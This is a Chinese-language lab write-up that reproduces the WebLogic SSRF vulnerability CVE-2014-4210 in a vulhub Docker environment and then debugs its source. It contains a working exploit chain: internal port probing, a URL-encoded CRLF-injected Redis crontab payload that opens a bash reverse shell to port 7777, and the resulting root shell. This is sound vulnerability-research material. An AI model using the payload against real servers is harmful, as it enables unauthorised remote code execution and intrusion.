文章目录
漏洞概述
weblogic的这个uddiexplorer组件的SearchPublicRegistries.jsp页面存在一个SSRF漏洞
分类 | 详情 |
---|---|
漏洞编号 | CVE-2014-4210 |
漏洞种类 | SSRF |
影响版本 | weblogic 10.0.2 – 10.3.6 |
vulhub复现
vulhub环境搭建
# 启动
cd vulhub/weblogic/ssrf/
docker-compose up -d
# 开启了一个weblogic和redis环境
kit@VM-0-12-ubuntu:~/vulhub/weblogic/ssrf$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
740110c7c04d vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 5 hours ago Up 5 hours 5556/tcp, 0.0.0.0:7001->7001/tcp ssrf_weblogic_1
56ec984f228c vulhub/baselinux:centos-6 "/docker-entrypoint.…" 5 hours ago Up 5 hours 6379/tcp ssrf_redis_1
在Search public registries界面http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
修改operator
参数为内网IP可以探测IP和端口存活情况。
输入7001端口返回中显示出了404响应码
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code
修改为2222端口
but could not connect over HTTP to server:'127.0.0.1', port: '2222'
返回无法连接
这里通过探测可知内网存活的IP和端口。这里环境内网存在一个redis,可利用SSRF去攻击redis,在定时任务处写入反弹shell的指令。
返回内容
Received a response from url: http://172.25.0.2:6379 which did not have a valid SOAP content-type
表明6379端口是开放的
crontab payload:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/ip/7777 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
这里是利用了weblogic自己实现的socket所以存在CRLF漏洞的问题,直接将payload注入报文头来攻击redis
- url编码网站
- 替换
%0A
为%0A%0D
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0A%0Dconfig%20set%20dir%20%2Fetc%2F%0A%0Dconfig%20set%20dbfilename%20crontab%0A%0Dsave
成功接收到返回的shell
kit@VM-0-12-ubuntu:/etc$ nc -lvvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 1.15.178.85 60256 received!
sh: no job control in this shell
sh-4.1# ls
ls
anaconda-ks.cfg
install.log
install.log.syslog
环境搭建
修改docker-compose.yml,增加8888端口映射
version: '2'
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
depends_on:
- redis
ports:
- "7001:7001"
- "8888:8888"
redis:
image: vulhub/baselinux:centos-6
修改配置文件
cd /root/Oracle/Middleware/user_projects/domains/base_domain/bin
vi /setDomainEnv.sh
重新启动
docker restart 容器id
获得weblogic的源码
docker cp weblogic:/root ./weblogic_jars
用idea打开wlserver_10.3
目录
在Middleware
目录下打包获得所有jar到test
文件夹中
find . -name *.jar -exec cp {} ../../../test/ \;
在项目依赖库导入test文件夹中打包的jar文件。
选用从docker中获取的jdk
设置好ip和端口
连接成功
源码调试
idea远程调试原理就是本地有跟服务器上一样的lib文件,然后在本地的lib代码里下断点,通过debug就可以在远程服务器时在本地断点停住
这里调试主要关注点是对于operator
参数值的传递。
从sendMessage函数开始,这里sendMessage接收到operator的参数值
sendMessage函数中利用BindFactory
创建了一个工厂类,又创建了一个BindingInfo
对象。
工厂类会通过BindingInfo
的内容来决定创建的Bind
对象的类型。
这里BindingInfo
的getTransport函数默认为http11
最后工厂类创建的对象为Http11ClientBinding
通过Http11ClientBinding
调用send函数来发起请求,这里可以看出直接向url参数中的地址发起连接,没有进行任何的校验。所以存在CRLF的问题。
总结:
Weblogic自己实现了socket方法并没有采用java常见的网络库,又缺乏了对url基本的校验,所以这个SSRF漏洞才可以配合CRLF注入来攻击redis等服务。
参考文章:
https://vulhub.org/#/environments/weblogic/ssrf/
IDEA + Docker远程漏洞调试
Weblogic_SSRF漏洞_CVE-2014-4210
远程调试docker构建的weblogic